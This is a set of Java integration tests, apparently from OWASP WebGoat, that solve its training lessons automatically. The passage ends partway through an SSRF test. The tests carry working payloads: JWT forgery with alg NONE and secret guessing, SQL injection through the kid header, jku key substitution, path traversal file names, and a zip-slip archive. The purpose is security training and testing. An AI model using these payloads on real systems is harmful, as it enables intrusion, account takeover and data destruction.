import org.springframework.http.HttpStatus;
public abstract class IntegrationTest {
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
@Getter private String webGoatCookie;
@Getter private String webWolfCookie;
@Getter private final String user = "webgoat";
@BeforeEach
public void login() {
login("webgoat");
}
protected void login(String user) {
String location =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.header("Location");
if (location.endsWith("?error")) {
webGoatCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
}
webWolfCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrlConfig.url("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@AfterEach
public void logout() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
}
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
.then()
.statusCode(200);
}
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkResults(String lesson) {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkResults() {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public String getWebWolfFileServerLocation() {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("file-server-location"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("server-directory"))
.then()
.extract()
.response()
.getBody()
.asString();
}
public void cleanMailbox() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrlConfig.url("mail"))
.then()
.statusCode(HttpStatus.ACCEPTED.value());
}
}

View File

@@ -0,0 +1,307 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
resetVotes();
findPassword();
buyAsTom();
deleteTomThroughKidClaim();
deleteTomThroughJkuClaim();
quiz();
checkResults("JWT");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key)
.compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(webGoatUrlConfig.url("JWT/decode"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void findPassword() {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
.then()
.extract()
.response()
.asString();
String secret = getSecretToken(accessToken);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(webGoatUrlConfig.url("JWT/secret"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void resetVotes() throws IOException {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
.then()
.extract()
.cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(webGoatUrlConfig.url("JWT/votings"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void buyAsTom() throws IOException {
String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom");
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken)
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughKidClaim() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
}
}

View File

@@ -0,0 +1,233 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest {
static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons =
List.of(
"HttpBasics",
"HttpProxies",
"CIA",
"InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1");
for (String lesson : allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
}
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault, "nl");
checkLang(propsDefault, "de");
checkLang(propsDefault, "fr");
}
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) {
lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
}
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
for (String key : propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail();
}
if (!jsonPath
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
.equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie())
// .log().headers()
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/hint.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint");
}
}

View File

@@ -0,0 +1,151 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.springframework.http.HttpHeaders;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("PasswordReset");
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
}
public void assignment2() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
}
public void assignment4() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
}
public void assignment5() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
}
public void solveAssignment() {
// WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
// WebWolf
var link = getPasswordResetLinkFromLandingPage();
// WebGoat
changePassword(link);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
}
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
@AfterEach
public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

View File

@@ -0,0 +1,156 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest {
@TempDir Path tempDir;
private File fileToUpload = null;
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
.urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(
webGoatUrlConfig.url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
.then()
.log()
.all()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
@AfterEach
void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PathTraversal");
}
}

View File

@@ -0,0 +1,61 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(webGoatUrlConfig.url("challenge/flag/1"));
};
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 =
responses.stream()
.filter(
r -> {
try {
// System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
// System.err.println(e);
throw new IllegalStateException(e);
}
})
.count();
System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
}
}

View File

@@ -0,0 +1,29 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
